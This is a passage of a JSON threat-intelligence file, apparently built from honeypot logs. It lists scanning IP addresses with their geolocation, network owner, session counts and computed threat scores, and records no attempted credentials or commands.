        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:46:34.644000+00:00",
        "last_seen_30d": "2026-05-23T08:48:12.954000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.254.127.237": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:28:22.376Z",
      "last_seen": "2026-05-03T02:28:36.478Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:28:22.376000+00:00",
        "last_seen_30d": "2026-05-03T02:29:42.164000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.89.245.22": {
      "attack_count": 2,
      "first_seen": "2026-05-28T02:06:11.964Z",
      "last_seen": "2026-05-28T02:06:25.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T12:41:56.075000+00:00",
        "last_seen_30d": "2026-05-28T02:07:25.979000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "123.165.82.65": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:11:47.624Z",
      "last_seen": "2026-05-22T21:12:00.205Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:11:47.624000+00:00",
        "last_seen_30d": "2026-05-22T21:13:07.129000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "136.158.61.35": {
      "attack_count": 2,
      "first_seen": "2026-05-09T04:37:03.220Z",
      "last_seen": "2026-05-09T04:37:16.932Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:14:38.884000+00:00",
        "last_seen_30d": "2026-05-09T04:38:20.147000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.133.40": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:05:46.990Z",
      "last_seen": "2026-05-07T11:05:56.712Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 66.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 25,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T05:58:28.553000+00:00",
        "last_seen_30d": "2026-05-29T00:40:29.744000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 10,
        "Cowrie": 2
      }
    },
    "157.18.76.81": {
      "attack_count": 2,
      "first_seen": "2026-05-25T12:27:34.579Z",
      "last_seen": "2026-05-25T12:28:08.665Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T12:27:34.579000+00:00",
        "last_seen_30d": "2026-05-25T12:29:18.699000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "171.114.225.156": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:01:16.882Z",
      "last_seen": "2026-05-22T23:01:30.218Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:01:16.882000+00:00",
        "last_seen_30d": "2026-05-22T23:02:40.068000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "172.56.34.36": {
      "attack_count": 2,
      "first_seen": "2026-05-11T04:15:44.168Z",
      "last_seen": "2026-05-11T04:15:57.657Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21928,
      "as_org": "T-Mobile USA, Inc.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:15:44.168000+00:00",
        "last_seen_30d": "2026-05-11T04:16:58.312000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.176.41.214": {
      "attack_count": 2,
      "first_seen": "2026-05-05T23:43:00.378Z",
      "last_seen": "2026-05-05T23:43:13.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Paranaque City",
      "asn": 10139,
      "as_org": "Smart Broadband, Inc.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:43:00.378000+00:00",
        "last_seen_30d": "2026-05-05T23:44:14.585000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.198.110.15": {
      "attack_count": 2,
      "first_seen": "2026-05-18T08:32:00.591Z",
      "last_seen": "2026-05-18T08:32:13.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:32:00.591000+00:00",
        "last_seen_30d": "2026-05-18T08:33:14.999000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.184.110.136": {
      "attack_count": 2,
      "first_seen": "2026-05-02T00:04:13.908Z",
      "last_seen": "2026-05-02T00:04:26.222Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Conselheiro Lafaiete",
      "asn": 262673,
      "as_org": "VERO S.A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:04:13.908000+00:00",
        "last_seen_30d": "2026-05-02T00:05:36.468000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.69.239.123": {
      "attack_count": 2,
      "first_seen": "2026-05-18T15:11:10.557Z",
      "last_seen": "2026-05-18T15:11:23.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Domodedovo",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T15:11:10.557000+00:00",
        "last_seen_30d": "2026-05-18T15:12:30.698000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.17.97.149": {
      "attack_count": 2,
      "first_seen": "2026-05-20T18:13:55.224Z",
      "last_seen": "2026-05-20T18:14:10.208Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:13:55.224000+00:00",
        "last_seen_30d": "2026-05-20T18:15:12.743000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.205.161.187": {
      "attack_count": 2,
      "first_seen": "2026-05-10T18:40:51.233Z",
      "last_seen": "2026-05-10T18:41:03.375Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 27831,
      "as_org": "Colombia Movil",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T18:40:51.233000+00:00",
        "last_seen_30d": "2026-05-10T18:42:06.181000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.126.57.14": {
      "attack_count": 2,
      "first_seen": "2026-05-24T03:07:55.120Z",
      "last_seen": "2026-05-24T03:09:55.139Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Igua\u00e7u",
      "asn": 7738,
      "as_org": "V tal",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:07:55.120000+00:00",
        "last_seen_30d": "2026-05-24T03:20:39.409000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "189.145.61.213": {
      "attack_count": 2,
      "first_seen": "2026-05-17T19:19:47.994Z",
      "last_seen": "2026-05-17T19:20:01.264Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Torre\u00f3n",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T19:19:47.994000+00:00",
        "last_seen_30d": "2026-05-17T19:21:07.146000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.36.255.203": {
      "attack_count": 2,
      "first_seen": "2026-05-03T05:41:32.499Z",
      "last_seen": "2026-05-03T05:41:45.302Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fazenda Rio Grande",
      "asn": 270796,
      "as_org": "ENZEN TELECOM LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:41:32.499000+00:00",
        "last_seen_30d": "2026-05-03T05:42:49.521000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.137.94.39": {
      "attack_count": 2,
      "first_seen": "2026-05-05T15:10:52.444Z",
      "last_seen": "2026-05-05T15:11:07.299Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:10:52.444000+00:00",
        "last_seen_30d": "2026-05-05T15:12:09.303000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.200.240.86": {
      "attack_count": 2,
      "first_seen": "2026-05-12T23:38:17.479Z",
      "last_seen": "2026-05-12T23:38:31.002Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T23:38:17.479000+00:00",
        "last_seen_30d": "2026-05-12T23:39:38.670000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.249.231.254": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:29:59.331Z",
      "last_seen": "2026-05-23T08:30:11.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 17400,
      "as_org": "MSTelcom",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:29:59.331000+00:00",
        "last_seen_30d": "2026-05-23T08:31:14.754000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.248.220.213": {
      "attack_count": 2,
      "first_seen": "2026-05-16T12:44:58.942Z",
      "last_seen": "2026-05-16T12:45:11.828Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T12:44:58.942000+00:00",
        "last_seen_30d": "2026-05-16T12:46:13.977000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.90": {
      "attack_count": 2,
      "first_seen": "2026-05-17T16:14:35.705Z",
      "last_seen": "2026-05-17T16:15:06.697Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 29,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T19:44:47.688000+00:00",
        "last_seen_30d": "2026-05-31T00:07:49.422000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 20,
        "Cowrie": 2,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "201.238.32.234": {
      "attack_count": 2,
      "first_seen": "2026-05-19T23:47:55.691Z",
      "last_seen": "2026-05-19T23:48:08.398Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:47:55.691000+00:00",
        "last_seen_30d": "2026-05-19T23:49:17.052000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "202.6.192.2": {
      "attack_count": 2,
      "first_seen": "2026-05-02T09:46:52.988Z",
      "last_seen": "2026-05-02T09:47:06.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Karanganyar",
      "asn": 154217,
      "as_org": "PT Fiber Akses Nusantara",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:46:52.988000+00:00",
        "last_seen_30d": "2026-05-02T09:48:08.660000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.191.106.254": {
      "attack_count": 2,
      "first_seen": "2026-05-04T15:22:53.477Z",
      "last_seen": "2026-05-04T15:23:05.668Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T15:22:53.477000+00:00",
        "last_seen_30d": "2026-05-04T15:24:07.808000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.78.64.53": {
      "attack_count": 2,
      "first_seen": "2026-05-10T23:12:58.175Z",
      "last_seen": "2026-05-10T23:14:58.179Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Winnipeg",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:12:58.175000+00:00",
        "last_seen_30d": "2026-05-10T23:25:43.787000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.75.74.99": {
      "attack_count": 2,
      "first_seen": "2026-05-24T14:19:03.937Z",
      "last_seen": "2026-05-24T14:21:03.939Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Congo Republic",
      "country_code": "CG",
      "city": null,
      "asn": 36924,
      "as_org": "GVA-Canalbox",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:19:03.937000+00:00",
        "last_seen_30d": "2026-05-24T14:31:59.958000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "45.169.52.113": {
      "attack_count": 2,
      "first_seen": "2026-05-08T17:50:11.068Z",
      "last_seen": "2026-05-08T17:50:23.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Laferrere",
      "asn": 267741,
      "as_org": "REDLAM S.R.L",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:50:11.068000+00:00",
        "last_seen_30d": "2026-05-08T17:51:29.554000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.170.206.176": {
      "attack_count": 2,
      "first_seen": "2026-05-07T15:34:02.262Z",
      "last_seen": "2026-05-07T15:34:14.512Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
